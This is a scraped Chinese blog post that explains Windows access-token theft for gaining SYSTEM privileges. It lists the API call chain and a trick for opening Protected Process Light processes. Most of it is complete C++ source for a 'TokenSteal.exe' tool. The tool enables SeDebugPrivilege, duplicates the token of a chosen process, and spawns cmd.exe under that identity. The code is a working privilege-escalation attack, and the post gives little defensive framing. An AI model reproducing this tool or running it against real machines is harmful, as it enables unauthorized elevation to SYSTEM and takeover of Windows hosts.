zoukankan      html  css  js  c++  java
  • 对于 SYSTEM 令牌窃取的实现

    到目前,才刚知道账号克隆原来就是RID劫持!

    参考文章:https://www.anquanke.com/post/id/187895
    参考视频:https://www.bugbank.cn/live/view.html?id=113027

    实现:

    OpenProcess() -> OpenProcessToken() -> ImpersonateLoggedOnUser() -> DuplicateTokenEx() -> CreateProcessWithTokenW()

    OpenProcessToken()接受一个进程句柄和一个访问权限标志作为输入参数。

    它将打开与进程关联的访问令牌的句柄。必须使用TOKEN_QUERYTOKEN_DUPLICATE访问权限打开令牌句柄,才能在ImpersonateLoggedOnUser()中使用

    上面同样也可以使用DuplicateTokenEx()参数为TOKEN_DUPLICATE来复制相同的令牌

    如何模拟身份?

    如果我们想以另一个用户的身份生成一个进程,我们必须在 OpenProcessToken()的结果令牌句柄上使用 DuplicateTokenEx()来创建一个新的访问令牌。

    在用DuplicateTokenEx函数的时候对应的参数必须设置如下访问权限参数来调用 DuplicateTokenEx() ,才能通过使用 CreateProcessWithTokenW()进行启动进程

    TOKEN_ADJUST_DEFAULT
    TOKEN_ADJUST_SESSIONID
    TOKEN_QUERY
    TOKEN_DUPLICATE
    TOKEN_ASSIGN_PRIMARY
    

    在其中还有个关于 Protected Process Light 的属性,简称PPL ,某些进程会受PPL属性保护的时候,该进程就会存在PsProtectedSignerWinTcb-Light属性,比如

    此时调用OpenProcess()的时候参数权限改为PROCESS_QUERY_LIMITED_INFORMATION就可以解决

    另外自己测试的时候还发现了,即是改了OpenProcess的PROCESS_QUERY_LIMITED_INFORMATION并不是在每个windows系统上都可以,自己测试的win7是可以,但是win2012 win10却不行

    实现代码如下

    #include <windows.h>
    #include <iostream>
    #include <Lmcons.h>
    #include <comdef.h>
    
    using namespace std;
    
    //设置权限
    BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)
    {
    	TOKEN_PRIVILEGES tp;
    	LUID luid; //局部的唯一标识符
    
    	// 查看系统权限的特权值
    	if (!LookupPrivilegeValue(NULL,lpszPrivilege,&luid)){
    		printf("[-] LookupPrivilegeValue error: %u
    ", GetLastError());
    		return FALSE;
    	}
    
    	tp.PrivilegeCount = 1;
    	tp.Privileges[0].Luid = luid;
    	if (bEnablePrivilege){
    		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //设置要添加的权限
    	}else{
    		tp.Privileges[0].Attributes = 0;
    	}
    
    	// 添加管理员相应的权限
    	if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL)){
    		printf("[-] AdjustTokenPrivileges error: %u
    ", GetLastError());
    		return FALSE;
    	}
    
    	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){
    		printf("[-] The token does not have the specified privilege. 
    ");
    		return FALSE;
    	}
    
    	return TRUE;
    }
    
    //获取当前的用户名
    string get_username(){
    	TCHAR username[UNLEN + 1];
    	DWORD username_len = UNLEN + 1;
    	GetUserName(username, &username_len);
    	wstring username_w(username);
    	string username_s(username_w.begin(), username_w.end());
    	return username_s;
    }
    
    int main(int argc, char** argv) {
    
    	if (argc <= 1) {
    		printf("USAGE: TokenSteal.exe Process PID");
    		return -1;
    	}
    
    	printf("[+] Current user is: %s
    ", (get_username()).c_str());
    
    	char* pid_c = argv[1];
    	DWORD PID_TO_IMPERSONATE = atoi(pid_c);
    	HANDLE tokenHandle = NULL;
    	HANDLE duplicateTokenHandle = NULL;
    
    	//创建进程所必须的结构
    	STARTUPINFO startupInfo;
    	PROCESS_INFORMATION processInformation;
    	
    	ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
    	ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
    	startupInfo.cb = sizeof(STARTUPINFO);
    
    	HANDLE currentTokenHandle = NULL;
    
    	//获取当前自身进程的句柄进行调整权限
    	BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
    	if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)){
    		printf("[+] SeDebugPrivilege enabled!
    ");
    	}
    
    	// OpenProcess获取指定进程的句柄
    	HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
    	if (GetLastError() == NULL)
    		printf("[+] OpenProcess() success!
    ");
    	else
    	{
    		//绕过受微软的进程保护
    		HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
    		if (GetLastError() == NULL) {
    			printf("[+] OpenProcess() success!
    ");
    		}
    		else
    		{
    			printf("[-] OpenProcess() Return Code: %i
    ", processHandle);
    			printf("[-] OpenProcess() Error: %i
    ", GetLastError());
    		}
    	}
    
    	// 获取指定进程的句柄令牌
    	BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);
    	if (GetLastError() == NULL)
    		printf("[+] OpenProcessToken() success!
    ");
    	else
    	{
    		printf("[-] OpenProcessToken() Return Code: %i
    ", getToken);
    		printf("[-] OpenProcessToken() Error: %i
    ", GetLastError());
    	}
    
    	//模拟一个登陆用户的访问令牌的安全上下文
    	BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
    	if (GetLastError() == NULL)
    	{
    		printf("[+] ImpersonatedLoggedOnUser() success!
    ");
    		printf("[+] Current user is: %s
    ", (get_username()).c_str());
    		printf("[+] Reverting thread to original user context
    ");
    		RevertToSelf();
    	}
    	else
    	{
    		printf("[-] ImpersonatedLoggedOnUser() Return Code: %i
    ", getToken);
    		printf("[-] ImpersonatedLoggedOnUser() Error: %i
    ", GetLastError());
    	}
    
    	// 拷贝一个当前令牌相同权限的令牌
    	BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
    	if (GetLastError() == NULL)
    		printf("[+] DuplicateTokenEx() success!
    ");
    	else
    	{
    		printf("[-] DuplicateTokenEx() Return Code: %i
    ", duplicateToken);
    		printf("[-] DupicateTokenEx() Error: %i
    ", GetLastError());
    	}
    
    	// 创建 指定令牌启动的进程
    	BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\Windows\System32\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
    	if (GetLastError() == NULL)
    		printf("[+] Process spawned!
    ");
    	else
    	{
    		printf("[-] CreateProcessWithTokenW Return Code: %i
    ", createProcess);
    		printf("[-] CreateProcessWithTokenW Error: %i
    ", GetLastError());
    	}
    
    	return 0;
    }
    

  • 相关阅读:
    Android测试工具 UIAutomator入门与介绍
    C#异步编程
    懒得找,存个笔记:easyui combogrid 下拉+关键字搜索
    mssql replace
    序列化类型为XX的对象时检测到循环引用
    shell脚本运行python命令
    python技巧
    边缘检测测评标准
    mybatis 手动生成可执行sql
    Linux如何扩容物理文件系统分区
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/12906322.html
Copyright © 2011-2022 走看看